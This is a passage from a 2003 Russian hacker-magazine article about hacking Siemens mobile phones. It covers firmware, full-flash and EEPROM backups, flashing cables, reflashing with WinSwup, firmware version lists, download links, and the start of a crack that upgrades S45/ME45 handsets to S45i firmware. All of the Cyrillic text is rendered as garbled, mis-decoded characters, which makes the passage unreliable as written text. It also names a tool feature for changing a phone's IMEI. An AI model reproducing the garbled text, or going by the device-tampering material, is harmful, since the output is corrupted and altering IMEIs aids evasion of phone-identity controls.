ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÄÅËÎ - ÒÐÓÁÀ<br />
Skylord (sky_lord@mail.ru)<br />
ÄÅËÎ<br />
ÒÐÓÁÀ<br />
ÏÀÐÀ ÑËÎÂ Î ÂÇËÎÌÅ ÌÎÁÈËÜÍÈÊÎÂ<br />
Ìàëî êîãî ñåé÷àñ ìîæíî óäèâèòü ñíÿòèåì øàðîâàðíîãî ïðåäóïðåæäåíèÿ â ïðîãðàììå èëè íàäïèñüþ "Hacked<br />
by me!" íà êàêîì-íèáóäü ñàéòå. Ìû âñå ïðèâûêëè ðåçâî íàáèðàòü ïàëüöàìè êîìàíäû SoftIce'ó è äåðæàòü íà<br />
ïðèâÿçè ñòàéêó-äðóãóþ ñïëîèòîâ. Íî òåõíîëîãèè íå ñòîÿò íà ìåñòå, è ÷åì äàëüøå èäåò ïðîãðåññ, òåì øèðå è<br />
ðàçíîîáðàçíåå ñòàíîâèòñÿ âîçìîæíàÿ ñôåðà èíòåðåñîâ õàêåðà. Òåïåðü íà î÷åðåäè - ìîáèëüíûå òåëåôîíû...<br />
À ×ÒÎ Ó ÍÅÅ ÂÍÓÒÐÈ<br />
À âíóòðè ó íåå, ìèðíî ëåæàùåé â òâîåì êàðìàíå èëè<br />
îïðîìåò÷èâî îñòàâëÿåìîé â ÷åõëå íà ïîÿñå, âåñü íàáîð<br />
ïîëíîöåííîãî êîìïà: ïðîöåññîð, îïåðàòèâêà, ôëåø-ïàìÿòü<br />
â êà÷åñòâå ÏÇÓ è êó÷à âñÿêîé ïåðèôåðèè äëÿ îáùåíèÿ<br />
ñ îêðóæàþùèì ìèðîì - íà÷èíàÿ ñ ýêðàíà è çàêàí÷èâàÿ<br />
ðàäèî÷àñòüþ (ìîáèëà, êàê-íèêàê). Åñòåñòâåííî,<br />
ýòî íà ñëîâàõ âñå ïðîñòî.  òåëåôîíàõ â êà÷åñòâå<br />
ïðîöåññîðîâ èñïîëüçóþòñÿ ñïåöèàëüíûå ìèêðîêîíòðîëëåðû,<br />
îñíîâàííûå îáû÷íî íà àðõèòåêòóðå ARM è çàòî÷åííûå<br />
ñïåöèàëüíî äëÿ âûïîëíåíèÿ ôóíêöèé ìîáèëû.<br />
Ïàìÿòè îáû÷íî èìååòñÿ ïîðÿäêà 512 Êá, ôëåøêè -<br />
ãäå-òî â ñðåäíåì îò 1 Ìá è äî 16 Ìá - òåëåôîíîâ ìíîãî,<br />
è îáî âñåõ ñðàçó íå ðàññêàæåøü. È èìåííî ïîýòîìó<br />
ÿ ñðàçó îãðàíè÷ó ñåãîäíÿøíèé êðóã èññëåäîâàíèé - ìû<br />
ïîïðîáóåì ðàñêîâûðÿòü ìîáèëüíèêè ôèðìû Siemens,<br />
êàê äîâîëüíî ðàñïðîñòðàíåííûå è, êðîìå òîãî, óäîáíûå<br />
äëÿ âçëîìà è èçó÷åíèÿ. Õîòÿ, êîíå÷íî æå, ìíîãî<br />
èíòåðåñíîãî ìîæíî íàéòè è â òåëåôîíàõ Nokia,<br />
Motorola, Sony... Íî îá ýòîì - êàê-íèáóäü â äðóãîé ðàç.<br />
×òî æå íàøè ïîäîïûòíûå À âñå îíè, íà÷èíàÿ ñ ìîäåëåé<br />
x25 (ò.å. C25 è S25) è çàêàí÷èâàÿ ïîñëåäíèìè<br />
õ55, îñíîâàíû íà ñåìåéñòâå 16-áèòíûõ ìèêðîêîíòðîëëåðîâ<br />
Infineon C166 è ÷èïñåòàõ ãðóïïû Gold<br />
(HiGold â x25, EGold â x35, EGold+ â x45 è ò.ï.). Ñèìåíñ<br />
â ýòîì ïëàíå êñòàòè "îðèãèíàëüíè÷àåò" ïî<br />
ñðàâíåíèþ ñ äðóãèìè ïðîèçâîäèòåëÿìè: C166 - ýòî<br />
íèêàêèì áîêîì íå ARM, íå x86, à âîîáùå ñîâåðøåííî<br />
ñàìîñòîÿòåëüíûé RISC-ïðîöåññîð, íî ôèøêà â<br />
òîì, ÷òî Infineon - ýòî "äî÷êà" Siemens, à ñâîÿ ðóáàøêà<br />
ê òåëó âñåãäà áëèæå ;-).<br />
À òåïåðü äàâàé îïðåäåëèìñÿ ñ îñíîâíûìè òåðìèíàìè,<br />
÷òîáû óáðàòü âñå íåÿñíîñòè. À åñëè òû óæå èñêóøåí<br />
è âñå çíàåøü, òî ìîæåøü ïåðå÷èòàòü è óäîñòîâåðèòüñÿ<br />
â ñîáñòâåííîé ïðàâîòå<br />
Âîò òàê âûãëÿäèò, íàïðèìåð, òåëåôîí<br />
Siemens C35 èçíóòðè<br />
Ñ ×ÅÃÎ ÍÀ×ÈÍÀÅÒÑß ÕÀÊ<br />
×òî òàêîå ïðîøèâêà òåëåôîíà, ÿ äóìàþ, îáúÿñíÿòü<br />
òåáå íå íóæíî - íå õóæå ìåíÿ çíàåøü, ÷òî ýòî âíóòðåííèé<br />
ñîôò ìîáèëû: åãî ÎÑ è ïðèêëàäíûå ïðîãðàììû<br />
â îäíîì ëèöå. Ïðîøèâêè - ýòî äåéñòâèòåëüíî<br />
îáû÷íûå ïðîãðàììû, êîòîðûå ïèøóò íà<br />
êîìïàõ íà C èëè C++ è êîìïèëèðóþò ïîä ñîîòâåòñòâóþùåå<br />
æåëåçî - â íàøåì ñëó÷àå, ïîä C166.<br />
Ñëåäóþùèì âàæíûì òåðìèíîì ÿâëÿåòñÿ ïîíÿòèå<br />
"ôóëôëåø" (îò full flash èëè æå, êàê îáû÷íî ãîâîðÿò<br />
íà çàðóáåæíûõ ôîðóìàõ, - fubu - îò full backup) -<br />
ïîëíàÿ êîïèÿ ñîäåðæèìîãî ôëåø-ïàìÿòè òåëåôîíà<br />
ñî âñåì, ÷òî òàì åñòü - ïðîøèâêîé, ðàçëè÷íûìè<br />
äàííûìè, ñîäåðæèìûì âíóòðåííåãî äèñêà òåëåôîíà<br />
è ò.ä. è ò.ï. Íàëè÷èå ôóëôëåøà îò òâîåé ìîáèëû<br />
ãàðàíòèðóåò, ÷òî òû â äàëüíåéøåì òî÷íî ñìîæåøü<br />
âîññòàíîâèòü åå ïîñëå íåóäà÷íûõ ýêñïåðèìåíòîâ,<br />
îáû÷íî çàêàí÷èâàþùèõñÿ áåçìîëâíîé è<br />
áåçäûõàííîé òðóáêîé. È ñòîèò îòìåòèòü, ÷òî ïîäîáíûå<br />
ðåçóëüòàòû íàáëþäàþòñÿ ïðîöåíòàõ â 70<br />
ñëó÷àåâ ïåðâîãî áîëåå èëè ìåíåå íèçêîóðîâíåãî<br />
îáùåíèÿ ÷åëîâåêà ñî ñâîèì òåëåôîíîì ;-).<br />
Êðîìå âñåãî ïðî÷åãî â ôóëôëåøå ñîäåðæàòñÿ è<br />
äàííûå EEPROM - ñâîåîáðàçíîãî CMOS'à òåëåôîíà,<br />
ãäå õðàíÿòñÿ íàñòðîéêè àïïàðàòà (ïðîøèâêè íà<br />
êîíêðåòíîå æåëåçî), à òàêæå ÷àñòü âðåìåííûõ äàííûõ<br />
- òåêóùàÿ ìåëîäèÿ, ëîãîòèï è ïðî÷èå ìåëî÷è.<br />
Íåçàâèñèìî îò ôèçè÷åñêîãî ðàñïîëîæåíèÿ, âåñü<br />
EEPROM (à åãî ðàçìåð îáû÷íî îêîëî 64 Êá è âûøå)<br />
âõîäèò â ñîñòàâ ôóëôëåøà, à òîò, â çàâèñèìîñòè<br />
îò ìîäåëè òåëåôîíà è ñâîåãî îáúåìà, ñîîòâåòñòâóþùèì<br />
îáðàçîì îòðàæàåòñÿ â îáùåì ëèíåéíîì<br />
àäðåñíîì ïðîñòðàíñòâå ìîáèëû, êîòîðîå<br />
äëÿ Ñèìåíñîâñêîãî C166 ñîñòàâëÿåò 16 Ìá.<br />
Ñëåäóåò îòìåòèòü, ÷òî íàñòðîéêè EEPROM'à - ýòî,<br />
ïîæàëóé, ñàìàÿ âàæíàÿ ÷àñòü ôóëôëåøà. Åñëè âñå<br />
îñòàëüíîå ìîæíî áåç îñîáîãî òðóäà âîññòàíîâèòü,<br />
òî óòåðÿ îðèãèíàëüíîãî EEPROM'à èìåííî òâîåãî<br />
àïïàðàòà ïî÷òè ñòîïðîöåíòíî ãàðàíòèðóåò, ÷òî îí<br />
ñòàíåò â èçâåñòíîé ñòåïåíè "èíâàëèäîì". Åñëè òû<br />
çàïèøåøü ê ñåáå ÷óæîé EEPROM, ïîòåðÿþòñÿ êàëèáðîâêè<br />
ïåðåäàò÷èêà òåëåôîíà, áàòàðåè è ò.ï.,<br />
÷òî, ñêîðåå âñåãî, ñòàíåò ïðè÷èíîé ðàçëè÷íûõ<br />
ãëþêîâ, òèïà ïëîõî ðàáîòàþùåãî (ñêàæåì, áóêâàëüíî<br />
äåíü-äâà) àêêóìóëÿòîðà. Òàê ÷òî áóäü îñòîðîæåí<br />
è âñåãäà äåëàé áýêàï!<br />
1 2 3 4<br />
60 Íüþñû Ôåððóì Inside PC_Zone Âçëîì
Âíóòðåííîñòè è êàáåëè<br />
1. Ôîòêè ñèñòåìíûõ ïëàò òåëåôîíîâ ñ êðàòêèìè<br />
îïèñàíèÿìè. Ê ñîæàëåíèþ, íåò íîâûõ ìîäåëåé...<br />
http://www.inside-gsm.com/<br />
2. Èíôîðìàöèÿ î ïðîöåññîðå Infineon C166 ïðÿìî îò<br />
ïðîèçâîäèòåëÿ. Åñëè õî÷åøü äèçàññåìáëèðîâàòü<br />
ïðîøèâêè Ñèìåíñîâ, ïîñåòè îáÿçàòåëüíî.<br />
http://www.infineon.com/<br />
Ðàçäåë Products - Microcontrollers - 16-Bit<br />
Microcontrollers<br />
3. Âñå ïî êàáåëÿì äëÿ ðàçíûõ Ñèìåíñîâ: ðàçíîâèäíîñòè,<br />
ïåðåäåëêà...<br />
http://www.o45m.ru/soft9<br />
4. Ñîçäàíèå êàáåëÿ äëÿ x55.<br />
http://forum.siemens-club.ru/viewtopic.phpTopicID=10754<br />
Òèïè÷íûé êóñîê îòäèçàññåìáëèðîâàííîé<br />
è íåìíîãî îòêîììåíòèðîâàííîé ïðîøèâêè<br />
ÑÀÃÀ Î ØÍÓÐÊÀÕ<br />
Íà÷íåì ìû ñî ñìåíû ïðîøèâêè òåëåôîíà.  êàæäîì<br />
ÑÖ (ñåðâèñ-öåíòðå, â ñìûñëå) äëÿ ãàðàíòèéíûõ<br />
àïïàðàòîâ ïðîøèâêó ìåíÿþò áåñïëàòíî, à äëÿ<br />
íåãàðàíòèéíûõ (è "ñåðûõ", òî åñòü íå ñåðòèôèöèðîâàííûõ<br />
è/èëè ââåçåííûõ íåîôèöèàëüíî) - çà<br />
âîçíàãðàæäåíèå, êîòîðîå èíîãäà äîñòèãàåò ÷óòü<br />
ëè íå 30 áàêñîâ. Íî äàæå è ãàðàíòèéíûì àïïàðàòàì<br />
çà÷àñòóþ íå õîòÿò ìåíÿòü ïðîøèâêó áåç îáîñíîâàíèÿ<br />
ïðè÷èí. Ëåíèâûå, áëèí... Íî ýòî íàì íå<br />
ïîìåõà.<br />
Åäèíñòâåííîå, ÷òî òðåáóåòñÿ äëÿ ñìåíû ïðîøèâêè<br />
ëþáîãî Ñèìåíñà â äîìàøíèõ óñëîâèÿõ - êàáåëü<br />
äëÿ åãî ïîäêëþ÷åíèÿ ê êîìïó ÷åðåç COM- èëè<br />
USB-ïîðò (÷åðåç COM ëó÷øå ñ òî÷êè çðåíèÿ ñîâìåñòèìîñòè).<br />
Êàáåëü ïîäîéäåò äàëåêî íå ëþáîé:<br />
òðåáóþòñÿ êàáåëè ñ òàê íàçûâàåìûì "âíåøíèì<br />
ïèòàíèåì". Ñóòü â òîì, ÷òî âñå íèçêîóðîâíåâûå<br />
îïåðàöèè ïðîèçâîäÿòñÿ ñ âûêëþ÷åííûì òåëåôîíîì<br />
(÷òî ëîãè÷íî), è äëÿ åãî "çàãðóçêè" íåëüçÿ<br />
èñïîëüçîâàòü åãî æå ñîáñòâåííóþ áàòàðåþ, êàê<br />
ýòî äåëàåòñÿ îáû÷íî ïðè çàêà÷êå ìåëîäèé, íàïðèìåð.<br />
 ïðèíöèïå, òû ìîæåøü íå çàáèâàòü<br />
âñåì ýòèì ãîëîâó, à ïðîñòî ïîéòè íà ðûíîê è êóïèòü<br />
çà 300-400 ðóáëåé íóæíûé øíóðîê, îòäåëüíî<br />
óòî÷íèâ ó ïðîäàâöà, ïîäîéäåò ëè îí òåáå "äëÿ<br />
ïðîøèâêè" - âñå ïðîäàâöû îáû÷íî â êóðñå è ïðîäàþò<br />
òî, ÷òî íóæíî (õîòÿ î ìàíèáýêå ëó÷øå âñå<br />
æå äîãîâîðèòüñÿ). Òåì æå, êòî õî÷åò èñïîëüçîâàòü<br />
"ðîäíûå" êàáåëè (íàïðèìåð, èç ïîñòàâîê òåëåôîíîâ<br />
S/ME45) èëè êàêóþ-íèáóäü ýêçîòèêó, òèïà òåëåôîííûõ<br />
"ñòàêàíîâ", è ñïîñîáåí äåðæàòü â ðóêàõ<br />
ïàÿëüíèê, ñòîèò ïîñåòèòü ñîîòâåòñòâóþùèå ðåñóðñû<br />
Ñåòè, ãäå ýòè âîïðîñû ðàçîáðàíû ïîäðîáíåå.<br />
Ñ òåëåôîíàìè ìîäåëåé A50/x55 ñëîæíåå - Ñèìåíñ<br />
èçìåíèë òàì ôîðìàò ðàçúåìà è ðàñïèíîâêó<br />
êàáåëÿ, òàê ÷òî ñòàðûå "øíóðêè" íå ïîäõîäÿò. Â<br />
îñòàëüíîì æå - âñå òî æå ñàìîå<br />
Ðàçúåì äëÿ òåëåôîíà Siemens àíôàñ. Òàêèìè<br />
îíè áûëè ëåò ñåìü íàçàä, òàêèìè îñòàëèñü<br />
è ïî ñåé äåíü<br />
ÑÀÌ ÑÅÁÅ ÑÖ<br />
Ðàçîáðàâøèñü ñ êàáåëåì, ñêà÷èâàåøü ïðîøèâêó<br />
äëÿ òåëåôîíà. Äëÿ âñåõ Ñèìåíñîâ, íà÷èíàÿ ñ õ35,<br />
îíè ðàñïðîñòðàíÿþòñÿ â âèäå îäíîãî ýêçåøíèêà,<br />
êîòîðûé ñîñòîèò èç ïðîãðàììû WinSwup è âñòðîåííîãî<br />
ôàéëà ïðîøèâêè. Îáû÷íî ïðîøèâêè îáîçíà÷àþòñÿ<br />
â âèäå xxyyzz, ãäå xx - âåðñèÿ, yy - íîìåð<br />
ÿçûêîâîãî áëîêà èíòåðôåéñà, zz - íîìåð<br />
ÿçûêîâîãî áëîêà Ò9. Âñå ýòè íîìåðà îòëè÷àþòñÿ<br />
äëÿ ðàçíûõ ìîäåëåé àïïàðàòîâ, íî, åñòåñòâåííî,<br />
òåáå íóæíà ïîñëåäíÿÿ ïðîøèâêà äëÿ òâîåãî òåëåôîíà<br />
ñ ïîëíîé ïîääåðæêîé ðóññêîãî ÿçûêà!<br />
Îáû÷íî â Ñåòè íà ñîîòâåòñòâóþùèõ ñàéòàõ êàê<br />
ðàç è ëåæèò òî, ÷òî òåáå íóæíî.<br />
Ðàçîáðàòüñÿ ñî ñêà÷àííîé ïðîøèâêîé ïðîùå<br />
ïðîñòîãî: çàïóñêàåøü, ïîäêëþ÷àåøü ðàáîòàþùèé<br />
òåëåôîí, íàæèìàåøü "Serial config", âûáèðàåøü<br />
COM-ïîðò, ê êîòîðîìó ïîäêëþ÷åí êàáåëü, è ñêîðîñòü<br />
115200 (áîëüøå íå ïîëó÷èòñÿ, à ìåíüøå -<br />
íå ðàöèîíàëüíî, õîòÿ èíîãäà áûâàåò ïîëåçíî â<br />
ñëó÷àå ãëþêîâ), è ãîðäî æìåøü "Start". Òåïåðü<br />
ñëåäèøü çà òåëåôîíîì è, êîãäà òîò âûêëþ÷èòñÿ,<br />
êîðîòêî æìåøü íà êíîïêó ñ êðàñíîé òðóáêîé. Ìîáèëà<br />
"ñõâàòèòñÿ" ñ ïðîãðàììîé, è ïîéäåò ïðîöåññ<br />
ïðîøèâêè. Ýòîãî ðàäîñòíîãî ñîáûòèÿ ìîæåò íå<br />
ïðîèçîéòè, è WinSwup âûäàñò ñîîáùåíèå òèïà<br />
"Can’t connect to Mobile with BootstrapLoader on<br />
Com 1". Åñòü äâå ïðè÷èíû òàêîãî ïîâåäåíèÿ: ëèáî<br />
òû íå ïîéìàë ìîìåíò, êîãäà íóæíî íàæàòü íà<br />
"êðàñíóþ" êíîïêó (ìîæíî æàòü íà íåå è íåñêîëüêî<br />
ðàç ïîäðÿä - ãëàâíîå, ÷òîáû òåëåôîí íå óñïåë<br />
âêëþ÷èòüñÿ), è òîãäà ñëåäóåò ïîïðîáîâàòü åùå<br />
ðàç, ëèáî ó òåáÿ íåïîäõîäÿùèé êàáåëü. Â ïîñëåäíåì<br />
ñëó÷àå îñòàåòñÿ áåæàòü íà ðûíîê èëè áðàòü â<br />
ðóêè ïàÿëüíèê. Åñëè æå âñå "ñõâàòèëîñü" íîðìàëüíî,<br />
òî äàëüøå ïðîöåññ ïîéäåò àâòîìàòè÷åñêè<br />
è áóäåò äëèòüñÿ ìèíóò 5-10. Ïî åãî îêîí÷àíèè îñòàåòñÿ<br />
âêëþ÷èòü òåëåôîí è íàñëàæäàòüñÿ èñïðàâëåííûìè<br />
ãëþêàìè è ïîÿâèâøèìèñÿ ôè÷àìè. È òî<br />
è äðóãîå, êñòàòè, áûâàåò âèäíî íåâîîðóæåííûì<br />
ãëàçîì (îñîáåííî, åñëè àïãðåéäèòüñÿ ñ êàêîé-íèáóäü<br />
5 ïðîøèâêè äî 30!).<br />
 ïðèíöèïå, ïðîöåññ ïðîøèâêè ñîâåðøåííî áåçîïàñåí,<br />
à ïðîáëåìû âîçíèêíóò â ñëó÷àå, åñëè çàâèñíåò<br />
âèíäà, êîí÷èòñÿ áàòàðåÿ â òåëåôîíå (êîòîðóþ<br />
ïåðåä ïðîøèâêîé ñëåäóåò çàðÿäèòü ïî ïîëíîé!),<br />
èëè çëîáíûé ýëåêòðèê îòêëþ÷èò òîê â ðàéîíå.<br />
Ïðè òàêîì âàðèàíòå òåëåôîí, ñêîðåå âñåãî,<br />
ïîìðåò. Íå ñòîèò ýòîãî áîÿòüñÿ - îïûòíûå õàêåðû<br />
ìîáèëüíèêîâ óáèâàëè ñâîèõ ïèòîìöåâ ïî íåñêîëüêó<br />
äåñÿòêîâ ðàç ;-). Ñêîðåå âñåãî òåáÿ ñïàñåò<br />
ïîâòîðíàÿ ïðîøèâêà âûêëþ÷åííîãî àïïàðàòà ñ<br />
ïîñòàâëåííîé âåðõíåé ãàëî÷êîé "Skip" â<br />
WinSwup'å. Êàê îáû÷íî, íàæèìàåì "Start" è äàâèì<br />
íà êðàñíóþ òðóáó. Åñëè â ïðåäûäóùèé ðàç ïðîöåññ<br />
ïðåðâàëñÿ èç-çà ñäîõøåé áàòàðåè, òî, åñòåñòâåííî,<br />
ïåðåä ïîïûòêîé âîññòàíîâëåíèÿ åå íàäî<br />
áóäåò ãäå-íèáóäü çàðÿäèòü... Âîîáùå æå, ñîôòâåðíî<br />
(òî åñòü, êàêèìè-ëèáî ìàíèïóëÿöèÿìè ñ<br />
ñîôòîì òåëåôîíà - áóäü òî ïåðåïðîøèâêà èëè êîïàíèå<br />
â ôóëôëåøå) óáèòü àïïàðàò íåâîçìîæíî:<br />
âîññòàíîâèòüñÿ òû ñìîæåøü âñåãäà, ãëàâíîå - íå<br />
ëåíèòüñÿ äåëàòü áýêàïû.<br />
×óòü ñëîæíåå ïîëüçîâàòåëÿì òåëåôîíîâ ñåðèè<br />
õ55, êîòîðûå íå òîëüêî åùå íå óñïåëè îáðåñòè<br />
ñâîèõ "âîññòàíîâèòåëüíûõ" êîìïëåêòîâ<br />
ñîôòà, íî è â íèõ æå Ñèìåíñ óñëîæíèë íèçêîóðîâíåâûå<br />
îïåðàöèè, äîáàâèâ ìíîãî ãå-<br />
Ïîñëåäíèå îðèãèíàëüíûå<br />
âåðñèè<br />
ðóññêèõ ïðîøèâîê<br />
äëÿ ìîáèëüíèêîâ<br />
Siemens<br />
S25 - 1402/4402<br />
A3x/A40 - 2502<br />
C/S35 - 2404<br />
C45 - 380306<br />
S/ME45 - 300315<br />
S45i - 040315<br />
SL45 - 5601<br />
M(T)50 - 179101<br />
A50 - 079101<br />
C55 - 199111<br />
S55 - 119111<br />
5 6 7 8 9<br />
Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 61
Âçëîì<br />
ÕÀÊÅÐ\¹53\Ìàé\2003<br />
ÄÅËÎ - ÒÐÓÁÀ<br />
Skylord (sky_lord@mail.ru)<br />
Ñîôò äëÿ ïðîøèâêè è íèçêîóðîâíåâûõ ðàáîò<br />
1. FAQ è äîêà ïî ïðîøèâêå Ñèìåíñîâ. Î÷åíü ðåêîìåíäóåòñÿ ÷èòàòü ïåðåä ñîáñòâåííîðó÷íûì<br />
îñóùåñòâëåíèåì äàííîãî ôèíòà óøàìè ;).<br />
http://www.o45m.ru/index.html/faq10.html<br />
http://mr-8242.v-mirror.spb.ru/doc/fwch45.zip<br />
2. Ñàìè ïðîøèâêè äëÿ âñåõ âîçìîæíûõ ìîäåëåé Ñèìåíñ.<br />
http://www.siemens-club.ru/hard-8.php<br />
3. Íàáîð ïðîãðàìì, ïàò÷åé è ñîëþøåíîâ äëÿ ëîìàíèÿ è âîññòàíîâëåíèÿ òåëåôîíà ;-) è FAQ<br />
ïî ýòîìó äåëó.<br />
http://www.o45m.ru/soft8.html<br />
4. Unisiemens 4.0. Óíèâåðñàëüíûé (íî íå çíà÷èò - ëó÷øèé) ôëåøåð äëÿ âñåõ ìîäåëåé. Çàïóñêàòü<br />
ôàéëîì usimload.exe òîëüêî íà COM1.<br />
http://download.siemens-club.ru/files/unisiemens.rar<br />
5. SM45tools v1.2.<br />
http://www.siemens-club.ru/hard-8.php<br />
6. Siemens EEPROM tool. Åñëè ïðè çàïóñêå áóäåò ðóãàòüñÿ - ñêà÷àé è óñòàíîâè âòîðîé ôàéë.<br />
http://download.siemens-club.ru/files/siemens_eeprom_tool_215.rar<br />
http://download.siemens-club.ru/files/ocxregister2.rar<br />
ìîððîÿ îáû÷íûì ïîëüçîâàòåëÿì, äà è êðóòûì õàêåðàì<br />
è àíëîêåðàì..<br />
Ïðîöåññ ïîøåë!<br />
ÃÀÄÊÈÉ ÓÒÅÍÎÊ<br />
Íó, ñ õ55 ìîäåëÿìè - ýòî ðàçãîâîð îñîáûé, à ñåé-<br />
÷àñ ìû ñ òîáîé, âçÿâ â êà÷åñòâå îáúåêòà òåëåôîíû<br />
S45 è ME45, ñäåëàåì îäèí èç ñàìûõ êëàññíûõ<br />
êðÿêîâ, ÷èñëî áëàãîäàðñòâåííûõ ïèñåì çà êîòîðûé<br />
â ìîåì ÿùèêå èñ÷èñëÿåòñÿ, íàâåðíîå, ñîòíÿìè.<br />
À áóäåì ìû àïãðåéäèòü ýòè äåâàéñû äî S45i,<br />
óáèâ òàêèì îáðàçîì öåëóþ òîëïó çàéöåâ: òû ïîñìîòðèøü,<br />
÷òî ðåàëüíî ìîæåò äàòü êîïàíèå â òåëåôîíå,<br />
ñóùåñòâåííî óëó÷øèøü ñâîþ òðóáêó (à<br />
S/ME45 ñåé÷àñ è òàê î÷åíü ïîïóëÿðíûå òåëåôîíû)<br />
è, âîçìîæíî, íàéäåøü íîâóþ ñôåðó ïðèëîæåíèÿ<br />
ñâîèõ êðÿêåðñêèõ ñèë.<br />
Ñóòü ïðîáëåìû â ñëåäóþùåì. Âûïóñòèâ â 2001<br />
ãîäó íîâóþ ñåðèþ òåëåôîíîâ, Ñèìåíñ ðåøèë îòêàçàòüñÿ<br />
îò îïûòà ïðåäûäóùèõ ëåò è ñäåëàë "ïóëå-ïûëå-âëàãî-óäàðî-ïðî÷íóþ"<br />
ìîäåëü, îñíîâàííóþ<br />
íå íà "áþäæåòíîì" âàðèàíòå (ïîìíèøü C35 è<br />
M35), à íà òåëåôîíå áèçíåñ-êëàññà. Ñîîòâåòñòâåííî,<br />
ME45 - ýòî ïîëíàÿ êîïèÿ S45, îáëàäàâøåãî<br />
íà ìîìåíò âûïóñêà î÷åíü íåïëîõèìè õàðàêòåðèñòèêàìè.<br />
Äàííàÿ ïîëèòèêà ïðèøëàñü ïîëüçîâàòåëÿì<br />
ïî âêóñó, è ME45 ñ ïðèëàâêîâ ïðîñòî ñìåòàëè.<br />
Ñèìåíñó áû ðàäîâàòüñÿ è âûäàâàòü ìàðêåòîëîãàì<br />
ïðåìèè, íî íåò - âçûãðàëè íåïîíÿòíûå ÷óâñòâà,<br />
è, îáèäåâøèñü çà ìåíåå ïîïóëÿðíûé S45,<br />
ðåøèëè ñäåëàòü åãî "ðàñøèðåííûé" âàðèàíò -<br />
S45i, îñòàâèâ ñòàðîå æåëåçî, íî íåìíîãî ïåðåïèñàâ<br />
ñîôò è äîáàâèâ ôèøå÷åê. À ÷òîáû æèçíü ìåäîì<br />
íå êàçàëàñü, çàïðåòèëè çàëèâêó â ñòàðûå àïïàðàòû<br />
ïðîøèâêè îò íîâîãî. Âåðíåå, çàëèòü-òî òû<br />
ìîæåøü, íî ïðè ïîïûòêå âêëþ÷åíèÿ òåëåôîí<br />
òîëüêî îáèæåííî çàãóäèò è ðàáîòàòü íå çàõî÷åò. Ñ<br />
ýòîãî âñå è íà÷àëîñü... Ñêàæó ñðàçó, äîé÷ëÿíäû<br />
ïðîäåðæàëèñü ìåíüøå ïîëóãîäà, è ñåé÷àñ òû<br />
ñìîæåøü âçãëÿíóòü íà ðåçóëüòàò ïðèìåðíî ìåñÿöà<br />
ìîåé ðàáîòû (ýòî âðåìÿ âêëþ÷àåò èçó÷åíèå<br />
Asm'à Ñ166 è íåïîñðåäñòâåííî âçëîì ïðîøèâêè).<br />
Ïîëíûé ñïèñîê áîíóñîâ S45i òû íàéäåøü â Ñåòè, à<br />
â êà÷åñòâå ãëàâíûõ ïëþñîâ ìîãó âûäåëèòü ñëåäóþùåå:<br />
ïîëíîöåííûé POP3/SMTP å-ìûëüíûé êëèåíò<br />
íà 5 àêêàóíòîâ, íîâàÿ èãðà RaceAce (ãîíî÷êè),<br />
ãðîìêàÿ ñâÿçü â äèêòîôîíå, à òàêæå áåçìåðíî æåëàåìàÿ<br />
âñåìè - ðàçáëîêèðîâêà êëàâèàòóðû áåç íàæàòèÿ<br />
êíîïêè "OK" îäíèì óäåðæàíèåì "ðåøåòêè".<br />
ÈÍÑÒÐÓÌÅÍÒ<br />
Èòàê, âñå èçâðàùåíèÿ íàä òåëåôîíîì äåëàþòñÿ<br />
ïóòåì ðåäàêòèðîâàíèÿ åãî ôóëôëåøà, ïîñëå ÷åãî<br />
èñïðàâëåííûé âàðèàíò çàëèâàåòñÿ â àïïàðàò. È<br />
ïîýòîìó òâîåé ãëàâíîé ïðèâû÷êîé äîëæíî ñòàòü<br />
ñîõðàíåíèå áýêàïà ïåðåä ëþáûìè äåéñòâèÿìè.<br />
Âîîáùå, äëÿ ìàíèïóëÿöèè ñ ôëåøåì òåëåôîíà<br />
óìíûìè è ïðàâèëüíûìè ëþäüìè ñîçäàþòñÿ ñïåöèàëüíûå<br />
ïðîãðàììû - ôëåøåðû, êîòîðûå ìîãóò<br />
ïèñàòü è ÷èòàòü åãî ñîäåðæèìîå. Êàê èìåííî îíè<br />
ýòî äåëàþò - âîïðîñ îñîáûé, à ïîêà çàïîìíè íåñêîëüêî<br />
îñíîâíûõ íàçâàíèé - UNIsiemens 4, Ksie<br />
5.1, zSiemens, SieFlash, SM45Tools 1.2... Èìåííî<br />
ïîñëåäíåé ìû è âîñïîëüçóåìñÿ - îíà ïðåäíàçíà-<br />
÷åíà ñïåöèàëüíî äëÿ S/ME45 (ñ äðóãèìè ðàáîòàòü<br />
íå áóäåò!) è ÿâëÿåòñÿ íàèáîëåå óäîáíîé è ôóíêöèîíàëüíîé,<br />
çà ÷òî ñïàñèáî åå àâòîðó MikG.<br />
Èíòåðôåéñ ïðîñò äî áåçîáðàçèÿ: íåñêîëüêî âêëàäîê<br />
ñ èíòóèòèâíî ïîíÿòíûì ñîäåðæèìûì. Â<br />
"Configuration" íàñòðàèâàåì COM-ïîðò è ñêîðîñòü<br />
- êàê â WinSwup'å. "Read flash"/"Write flash" ÷èòàþò<br />
è ïèøóò äàííûå èç/â ôëåø-ïàìÿòü. Íàäî çàäàâàòü<br />
íà÷àëüíûé àäðåñ è ðàçìåð ñêà÷èâàåìîãî/çàêà÷èâàåìîãî<br />
êóñêà. Âñåãî â S/ME45 íàëè÷åñòâóåò<br />
6 Ìá ôëåøà (ò.å. 600000h), è ïèøåòñÿ îí êóñêàìè<br />
ïî 64 Êá, ïîýòîìó "÷èñòî êîíêðåòíî" áðàòü è ïèñàòü<br />
1 áàéò âî ôëåø ÿ áû íå ñîâåòîâàë...<br />
EEPROM'û (à â S/ME45 èõ äâà) âíóòðè ôëåøà íàõîäÿòñÿ<br />
ïî àäðåñàì 1F0000h è 5F0000h è èìåþò<br />
äëèíó 10000h (òî åñòü 64 Êá) - ëó÷øå íà âñÿêèé<br />
ïîæàðíûé ñêà÷àòü è ñîõðàíèòü èõ îòäåëüíî, õîòÿ<br />
îíè è âõîäÿò â ñîñòàâ ôóëôëåøà. Âêëàäêà "IMEI"<br />
îòâå÷àåò çà ðàçáëîêèðîâêó è ñìåíó íîìåðà IMEI<br />
àïïàðàòà - â íàøåé ðàáîòå îíà íàì íå ïîíàäîáèòñÿ,<br />
à ïîäðîáíî î ðàçëî÷êå ÿ, âîçìîæíî, ðàññêàæó<br />
êàê-íèáóäü â äðóãîé ðàç.<br />
Ïîñëå ìàíèïóëÿöèé ñ òåëåôîíîì ñ ïîìîùüþ<br />
SM45Tools, ëó÷øå âñåãî âûòàùèòü è ñíîâà âñòàâèòü<br />
